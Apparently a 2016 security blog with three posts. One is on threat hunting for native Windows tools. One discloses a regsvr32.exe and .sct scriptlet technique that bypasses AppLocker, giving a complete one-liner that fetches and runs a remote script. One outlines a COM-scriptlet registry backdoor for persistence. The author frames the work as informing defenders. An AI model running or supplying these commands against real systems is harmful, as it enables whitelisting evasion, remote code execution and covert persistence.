Saturday, April 23, 2016

Hunting Threats - regsvr32.exe example

I was recently at the Threat Hunting Summit in New Orleans.  It was great to meet some of you who read my posts, and to get feedback on my talk.

My slide deck is here:

ThreatHunting Summit

So, we hunt threats a bit differently.  Let me explain. We act out adversarial actions, and try to discover innovative tactics that adversaries might use.

I have published these on my blog and on my github page. The purpose in my publishing is to inform defenders of tactics that can be used against defensive systems...

I have mentioned in several talks, that I am interested mainly in architectural flaws, or oversights, that can allow attackers to use trusted tools, in unexpected ways.  These are not exploits... There is no patch coming... I am using the tools in the manner that they are meant to be used, mostly, for developers.

I really do enjoy what the DFIR community is doing, from Memory Forensics, to Continuous Monitoring, to Log Aggregation and analysis... And I get it, all that is good stuff.

But then there are hidden caves and corners in the OS, like regsvr32, and the other tools I've written about

These are on your box and nobody knows what the hell it does, or COULD do....

But likely someone has figured that out, and you are unaware...

So, my opinion, and it is purely that, is this, for those of us who do defense. I encourage you to start looking around, ask what can this do?  Do we ever use it, how often is this EVER executed?  If it does weird stuff.  Ban it perhaps...etc... There is a lot of interesting places to hide that you can find.

So, about regsvr32.exe.  Here's a native tool. Built into the OS, many of us didn't really understand what it could do, until a few days ago...

regsvr32.exe will be one of my favorite finds, and I am glad it got the attention is has.

I hope that some of you will take on the hunt for strange and interesting in your environment.

I grew up hunting in Colorado.  And I can tell you this. You hunt elk very differently than you hunt say Pheasants.  Each situation and industry requires diligence.

Maybe instead of investing in some new widget, we should step back, sit down with the output of "dir /s" and understand what the tools and binaries are on our systems...

Thats free. And a rather interesting exercise.

There's plenty more fun to be had here...

Hope that helps!

Ok, Thats all I got.



Tuesday, April 19, 2016

Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files)

So, I have been working this out the last few days. I was trying solve a particular problem.

I needed a reverse shell on workstation locked down by AppLocker executable and script rules enforced.

 tl;dr "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll"

I have been researching fileless persistence mechanisms.  And it led me to a dark place.  I would wish on no mortal.  COM+.

I posted earlier about .sct files. This link describes what they are. In short they are XML documents, that allow you to register COM objects that are backed not by a .dll but scripts.

Inside COM+

However, I wasn't really happy with what I had found since it required Admin rights in order to execute.  I could register the script to bypass AppLocker, but I still had to instantiate the object to trigger the code execution.

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister.

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked.

That was it.

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary.  Whohoo.

So, all you need to do is host your .sct file at a location you control. From the target, simply execute

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Its not well documented that regsvr32.exe can accept a url for a script.

In order to trigger this bypass, place the code block, either VB or JS inside the <registration> element.

Hopefully this makes sense.

In order to further prove this out, I wrote a PowerShell server to handle execution and return output.

I hope this is helpful and that it makes sense.

There is ALOT more to explore here, so please, send me feedback if you find this helpful.
- You can also call a local file too.  If you really wanted to...
- This does not ACTUALLY register the COM object.  So nothing is in the registry... BONUS

Proof Of Concept Here

So, there you have it!

And yes. this bypass fits in a Tweet.  :-)

Are we clear?



Thursday, April 14, 2016

Setting Up A Homestead In the Enterprise with JavaScript

Well, now that everyone has eyes on PowerShell...Lets see what we can do with JavaScript!

My all time favorite talk is here:
Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation

So, this post, doesn't exactly stay true to the idea of living in memory, never touching disk, and only using native tools...

However, I think you might find this interesting.

I've been doing lots of testing on JavaScript lately and wanted to share some of my latest stuff.

Recently I mentioned on Twitter about .SCT files. I only found this recently.  So, I think there is probably lots more cool stuff to explore here.

I really don't have time to go into all the gory COM details here. But the idea of the .SCT scriptlet, is to be able to back your COM object with a script, vb/js.  Instead of a binary.

Who cares?  Well, as you know there are lots of ways to detect, and block binary execution.  Even log when a binary is written to disk.  But if we can establish a foothold with say a text file or XML. Well we may have a chance to hide longer.

Inside COM

This document has some of the back story.

So I wrote a prototype, proof of concept.  I probably won't have anymore time for this. :-)

Here's what my backdoor does.

1. Installs a COM Object into the registry
2. Overwrites the ScriptletURL, which normally points to a local file. Now points to URL
3. Invoke the COM Object and executes dynamically from the url.

This gives me complete persistence in the registry.  I leave it up to the reader to expand and experiment.

I think its pretty cool. But who knows.

Proof of Concept Here

Happy Homesteading.